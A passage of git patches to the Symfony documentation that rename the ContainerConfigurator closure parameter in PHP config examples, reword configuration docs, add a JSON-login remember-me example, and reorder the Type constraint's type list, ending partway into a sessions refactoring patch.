@@ -353,7 +353,7 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
         use App\Util\Rot13Transformer;
         use App\Util\TransformerInterface;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             $services->set(Rot13Transformer::class);
@@ -497,7 +497,7 @@ the injection::
         use App\Util\TransformerInterface;
         use App\Util\UppercaseTransformer;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             $services->set(Rot13Transformer::class)->autowire();
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 9f7ac768976..5e6036421df 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -69,7 +69,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             $services->set(MessageGenerator::class)
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 7cf3f4e09c5..4fab69c5551 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -172,8 +172,8 @@ all the classes are already loaded as services. All you need to do is specify th
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
             $services->load('App\\', '../src/*');
@@ -242,8 +242,8 @@ Services can be configured via invokable configurators (replacing the
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
             $services->load('App\\', '../src/*');
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 972d7286c88..f755057e240 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -61,7 +61,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
         use App\Mail\MailerConfiguration;
         use App\Mailer;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             $services->set(MailerConfiguration::class);
@@ -116,8 +116,8 @@ via a ``container`` variable. Here's another example:
 
         use App\Mailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Mailer::class)
                 ->args([expr("container.hasParameter('some_param') ? parameter('some_param') : 'default_value'")]);
diff --git a/service_container/factories.rst b/service_container/factories.rst
index d2fda053923..36a9a2e7db8 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -83,8 +83,8 @@ create its object:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerStaticFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 // the first argument is the class and the second argument is the static method
@@ -154,8 +154,8 @@ Configuration of the service container then looks like this:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // first, create a service for the factory
             $services->set(NewsletterManagerFactory::class);
@@ -233,8 +233,8 @@ method name:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 ->factory(service(InvokableNewsletterManagerFactory::class));
@@ -293,8 +293,8 @@ previous examples takes the ``templating`` service as an argument:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager'])
diff --git a/service_container/import.rst b/service_container/import.rst
index b37c8360388..433b03d9812 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -123,12 +123,12 @@ a relative or absolute path to the imported file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $configurator->import('services/mailer.php');
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->import('services/mailer.php');
             // If you want to import a whole directory:
-            $configurator->import('services/');
+            $containerConfigurator->import('services/');
 
-            $services = $configurator->services()
+            $services = $containerConfigurator->services()
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index fd47fcef56c..81d06810f9f 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -74,8 +74,8 @@ service container configuration:
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -277,8 +277,8 @@ that accepts the dependency::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 ->call('setMailer', [service('mailer')]);
@@ -359,8 +359,8 @@ Another possibility is setting public fields of the class directly::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('app.newsletter_manager', NewsletterManager::class)
                 ->property('mailer', service('mailer'));
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index b259895b9f5..7b0bd0442c5 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -76,8 +76,8 @@ You can mark the service as ``lazy`` by manipulating its definition:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(AppExtension::class)->lazy();
         };
@@ -150,8 +150,8 @@ specific interfaces.
         use App\Twig\AppExtension;
         use Twig\Extension\ExtensionInterface;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(AppExtension::class)
                 ->lazy()
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index e05e050ba9c..8317cd363df 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -38,8 +38,8 @@ if the service does not exist:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -95,8 +95,8 @@ call if the service exists and remove the method call if it does not:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 ->call('setLogger', [service('logger')->ignoreOnInvalid()])
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 7df74b37a43..3c1db4d9a73 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -122,8 +122,8 @@ avoid duplicated service definitions:
         use App\Repository\DoctrinePostRepository;
         use App\Repository\DoctrineUserRepository;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(BaseDoctrineRepository::class)
                 ->abstract()
@@ -232,8 +232,8 @@ the child class:
         use App\Repository\DoctrineUserRepository;
         // ...
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(BaseDoctrineRepository::class)
                 // ...
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 06f7a0df1ab..1b09c3b54f9 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -44,8 +44,8 @@ When overriding an existing definition, the original service is lost:
         use App\Mailer;
         use App\NewMailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Mailer::class);
 
@@ -101,8 +101,8 @@ but keeps a reference of the old one as ``.inner``:
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Mailer::class);
 
@@ -164,8 +164,8 @@ automatically changed to ``'.inner'``):
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Mailer::class);
 
@@ -236,8 +236,8 @@ automatically changed to ``'.inner'``):
             use App\DecoratingMailer;
             use App\Mailer;
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            return function(ContainerConfigurator $containerConfigurator) {
+                $services = $containerConfigurator->services();
 
                 $services->set(Mailer::class);
 
@@ -298,8 +298,8 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(\Foo::class);
 
@@ -385,8 +385,8 @@ ordered services, each one decorating the next:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
-            $container->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->stack('decorated_foo_stack', [
                     inline_service(\Baz::class)->args([service('.inner')]),
                     inline_service(\Bar::class)->args([service('.inner')]),
@@ -468,8 +468,8 @@ advanced example of composition:
         use App\Decorated;
         use App\Decorator;
 
-        return function(ContainerConfigurator $container) {
-            $container->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->set('some_decorator', Decorator::class)
 
                 ->stack('embedded_stack', [
@@ -586,8 +586,8 @@ Three different behaviors are available:
 
         use Symfony\Component\DependencyInjection\ContainerInterface;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Foo::class);
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a7d9971b8db..6ca1f976622 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -231,8 +231,8 @@ service type to a service.
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(CommandBus::class)
                 ->tag('container.service_subscriber', ['key' => 'logger', 'id' => 'monolog.logger.event']);
@@ -323,8 +323,8 @@ or directly via PHP attributes:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
@@ -409,8 +409,8 @@ other services. To do so, create a new service definition using the
 
         use Symfony\Component\DependencyInjection\ServiceLocator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -471,8 +471,8 @@ Now you can inject the service locator in any other services:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(CommandBus::class)
                 ->args([service('app.command_handler_locator')]);
@@ -562,8 +562,8 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(App\Handler\One::class)
                 ->tag('app.handler', ['key' => 'handler_one'])
@@ -652,8 +652,8 @@ attribute to the locator service defining the name of this custom method:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $configurator->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->set(App\HandlerCollection::class)
                     ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
             ;
diff --git a/service_container/shared.rst b/service_container/shared.rst
index d676f592125..0b87976dc39 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -36,8 +36,8 @@ in your service definition:
 
         use App\SomeNonSharedService;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(SomeNonSharedService::class)
                 ->share(false);
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 59869d5d7f3..0a83bebed9e 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -66,8 +66,8 @@ configuration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // synthetic services don't specify a class
             $services->set('app.synthetic_service')
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8e990dadee0..2874fb103f2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -41,8 +41,8 @@ example:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(AppExtension::class)
                 ->tag('twig.extension');
@@ -107,8 +107,8 @@ If you want to apply tags automatically for your own services, use the
 
         use App\Security\CustomInterface;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // this config only applies to the services created by this file
             $services
@@ -217,8 +217,8 @@ Then, define the chain as a service:
 
         use App\Mail\TransportChain;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(TransportChain::class);
         };
@@ -271,8 +271,8 @@ For example, you may add the following transports as services:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
@@ -438,8 +438,8 @@ To answer this, change the service declaration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
@@ -590,8 +590,8 @@ directly via PHP attributes:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(App\Handler\One::class)
                 ->tag('app.handler')
@@ -655,8 +655,8 @@ the number, the earlier the tagged service will be located in the collection:
 
         use App\Handler\One;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(One::class)
                 ->tag('app.handler', ['priority' => 20])
@@ -715,8 +715,8 @@ you can define it in the configuration of the collecting service:
 
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // ...
 
@@ -787,8 +787,8 @@ indexed by the ``key`` attribute:
         use App\Handler\Two;
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(One::class)
                 ->tag('app.handler', ['key' => 'handler_one']);
@@ -885,8 +885,8 @@ array element. For example, to retrieve the ``handler_two`` handler::
             use App\HandlerCollection;
             use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-            return function (ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            return function (ContainerConfigurator $containerConfigurator) {
+                $services = $containerConfigurator->services();
 
                 // ...
 
diff --git a/session.rst b/session.rst
index c4c6714c226..90ef240013e 100644
--- a/session.rst
+++ b/session.rst
@@ -240,8 +240,8 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
         use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
         use Symfony\Component\HttpFoundation\Session\Session;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('session', Session::class)
                 ->public()
diff --git a/session/database.rst b/session/database.rst
index de4d5213b81..f14ef7a0656 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -249,8 +249,8 @@ first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -354,8 +354,8 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -524,8 +524,8 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
@@ -633,8 +633,8 @@ configure these values with the second argument passed to the
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
diff --git a/testing.rst b/testing.rst
index 0e7d861894f..8f1b7692ca2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -360,8 +360,8 @@ the ``test`` environment as follows:
         use App\Contracts\Repository\NewsRepositoryInterface;
         use App\Repository\NewsRepository;
 
-        return static function (ContainerConfigurator $container) {
-            $container->services()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 // redefine the alias as it should be while making it public
                 ->alias(NewsRepositoryInterface::class, NewsRepository::class)
                     ->public()

From 23593c6ec4879eb9eac56fecacf9e20f01a3d008 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 16:44:57 +0100
Subject: [PATCH 2694/5766] Minor rewordings

---
 configuration.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d88b72ad3af..a93080c9946 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -18,14 +18,13 @@ directory, which has this default structure:
     │  ├─ bundles.php
     │  ├─ routes.yaml
     │  └─ services.yaml
-    ├─ ...
 
-The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`;
-the ``services.yaml`` file configures the services of the
-:doc:`service container </service_container>`; the ``bundles.php`` file enables/
-disables packages in your application.
+* The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`;
+* the ``services.yaml`` file configures the services of the
+:doc:`service container </service_container>`;
+* the ``bundles.php`` file enables/disables packages in your application.
 
-You'll be working mostly in the ``config/packages/`` directory. This directory
+The ``config/packages/`` directory
 stores the configuration of every package installed in your application.
 Packages (also called "bundles" in Symfony and "plugins/modules" in other
 projects) add ready-to-use features to your projects.
@@ -33,7 +32,7 @@ projects) add ready-to-use features to your projects.
 When using :ref:`Symfony Flex <symfony-flex>`, which is enabled by default in
 Symfony applications, packages update the ``bundles.php`` file and create new
 files in ``config/packages/`` automatically during their installation. For
-example, this is the default file created by the "API Platform" package:
+example, this is the default file created by the "API Platform" bundle:
 
 .. code-block:: yaml
 
@@ -42,9 +41,9 @@ example, this is the default file created by the "API Platform" package:
         mapping:
             paths: ['%kernel.project_dir%/src/Entity']
 
-Splitting the configuration into lots of small files is intimidating for some
+Splitting the configuration into lots of small files might appear intimidating for some
 Symfony newcomers. However, you'll get used to them quickly and you rarely need
-to change these files after package installation
+to change these files after package installation.
 
 .. tip::
 

From b0e43407b7b21e55682ec2a762af2ae7b905aa8b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 16:50:55 +0100
Subject: [PATCH 2695/5766] More minor rewordings

---
 configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d88b72ad3af..f1f66be2fdf 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -58,8 +58,8 @@ Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
 Unlike other frameworks, Symfony doesn't impose a specific format on you to
-configure your applications. Symfony lets you choose between YAML, XML and PHP
-and throughout the Symfony documentation, all configuration examples will be
+configure your applications, but lets you choose between YAML, XML and PHP. 
+Throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
 .. versionadded:: 5.1

From f0c7716180c328f093ce0975d425676974f65339 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 17:03:51 +0100
Subject: [PATCH 2696/5766] Emphasizing *NOT* working

---
 .../dependency_injection/_imports-parameters-note.rst.inc       | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index 1df99833e86..45a75652fda 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -2,7 +2,7 @@
 
     Due to the way in which parameters are resolved, you cannot use them
     to build paths in imports dynamically. This means that something like
-    the following doesn't work:
+    **the following does not work:**
 
     .. configuration-block::
 

From 4397755ac27d0b43dd4395f45315b329c1558a6a Mon Sep 17 00:00:00 2001
From: Markus Baumer <markus@baumer.dev>
Date: Fri, 6 Jan 2023 19:41:51 +0100
Subject: [PATCH 2697/5766] Add JSON login remember me symfony/symfony#48899

---
 security/remember_me.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 702baefd9fc..5d6d089c79a 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -111,6 +111,9 @@ Using the remember me cookie is not always appropriate (e.g. you should not
 use it on a shared PC). This is why by default, Symfony requires your users
 to opt-in to the remember me system via a request parameter.
 
+Remember Me for Form Login
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 This request parameter is often set via a checkbox in the login form. This
 checkbox must have a name of ``_remember_me``:
 
@@ -133,6 +136,25 @@ checkbox must have a name of ``_remember_me``:
     Optionally, you can configure a custom name for this checkbox using the
     ``name`` setting under the ``remember_me`` section.
 
+Remember Me for JSON Login
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you implement the login via an API that uses :ref:`JSON Login <json-login>`
+you can add a ``_remember_me`` key to the body of your POST request.
+
+.. code-block:: json
+
+    {
+        "username": "dunglas@example.com",
+        "password": "MyPassword",
+        "_remember_me": true
+    }
+
+.. note::
+
+    Optionally, you can configure a custom name for this key using the
+    ``name`` setting under the ``remember_me`` section.
+
 Always activating Remember Me
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 60dab0108936e6200c7a47948c281252afdb99c9 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 6 Jan 2023 22:57:57 +0100
Subject: [PATCH 2698/5766] Update constraint Type types

---
 reference/constraints/Type.rst | 24 +++++++++++++-----------
 1 file changed, 13 insertions(+), 11 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index be6149f53aa..ec8d400c570 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -206,22 +206,24 @@ This required option defines the type or collection of types allowed for the
 given value. Each type is either the FQCN (fully qualified class name) of some
 PHP class/interface or a valid PHP datatype (checked by PHP's ``is_()`` functions):
 
-* :phpfunction:`array <is_array>`
 * :phpfunction:`bool <is_bool>`
-* :phpfunction:`callable <is_callable>`
-* :phpfunction:`float <is_float>`
-* :phpfunction:`double <is_double>`
+* :phpfunction:`boolean <is_bool>`
 * :phpfunction:`int <is_int>`
-* :phpfunction:`integer <is_integer>`
-* :phpfunction:`iterable <is_iterable>`
-* :phpfunction:`long <is_long>`
-* :phpfunction:`null <is_null>`
+* :phpfunction:`integer <is_int>`
+* :phpfunction:`long <is_int>`
+* :phpfunction:`float <is_float>`
+* :phpfunction:`double <is_float>`
+* :phpfunction:`real <is_float>`
 * :phpfunction:`numeric <is_numeric>`
+* :phpfunction:`string <is_string>`
+* :phpfunction:`scalar <is_scalar>`
+* :phpfunction:`array <is_array>`
+* :phpfunction:`iterable <is_iterable>`
+* :phpfunction:`countable <is_countable>`
+* :phpfunction:`callable <is_callable>`
 * :phpfunction:`object <is_object>`
-* :phpfunction:`real <is_real>`
 * :phpfunction:`resource <is_resource>`
-* :phpfunction:`scalar <is_scalar>`
-* :phpfunction:`string <is_string>`
+* :phpfunction:`null <is_null>`
 
 Also, you can use ``ctype_*()`` functions from corresponding
 `built-in PHP extension`_. Consider `a list of ctype functions`_:

From 0055c991d092448d98ed3aa9f8f451cea857708f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 31 Dec 2022 14:12:39 +0100
Subject: [PATCH 2699/5766] Sessions refactoring

---
 _build/redirection_map                        |    8 +-
 components/http_foundation.rst                |    5 +-
 .../http_foundation/session_configuration.rst |  321 ----
 .../http_foundation/session_php_bridge.rst    |   48 -
 .../http_foundation/session_testing.rst       |   58 -
 components/http_foundation/sessions.rst       |  356 ----
 controller.rst                                |  130 +-
 doctrine.rst                                  |    1 -
 reference/configuration/framework.rst         |    2 +-
 security/impersonating_user.rst               |    6 +-
 session.rst                                   | 1533 +++++++++++++++--
 session/database.rst                          |  663 -------
 session/locale_sticky_session.rst             |  188 --
 session/php_bridge.rst                        |  108 --
 session/proxy_examples.rst                    |  145 --
 translation.rst                               |    2 +-
 translation/locale.rst                        |    4 +-
 17 files changed, 1474 insertions(+), 2104 deletions(-)
 delete mode 100644 components/http_foundation/session_configuration.rst
 delete mode 100644 components/http_foundation/session_php_bridge.rst
 delete mode 100644 components/http_foundation/session_testing.rst
 delete mode 100644 components/http_foundation/sessions.rst
 delete mode 100644 session/database.rst
 delete mode 100644 session/locale_sticky_session.rst
 delete mode 100644 session/php_bridge.rst
 delete mode 100644 session/proxy_examples.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index c24c5087601..9175f68d5e3 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -248,7 +248,8 @@
 /cookbook/session/index /session
 /cookbook/session/limit_metadata_writes /reference/configuration/framework
 /session/limit_metadata_writes /reference/configuration/framework
-/cookbook/session/locale_sticky_session /session/locale_sticky_session
+/cookbook/session/locale_sticky_session /session#locale-sticky-session
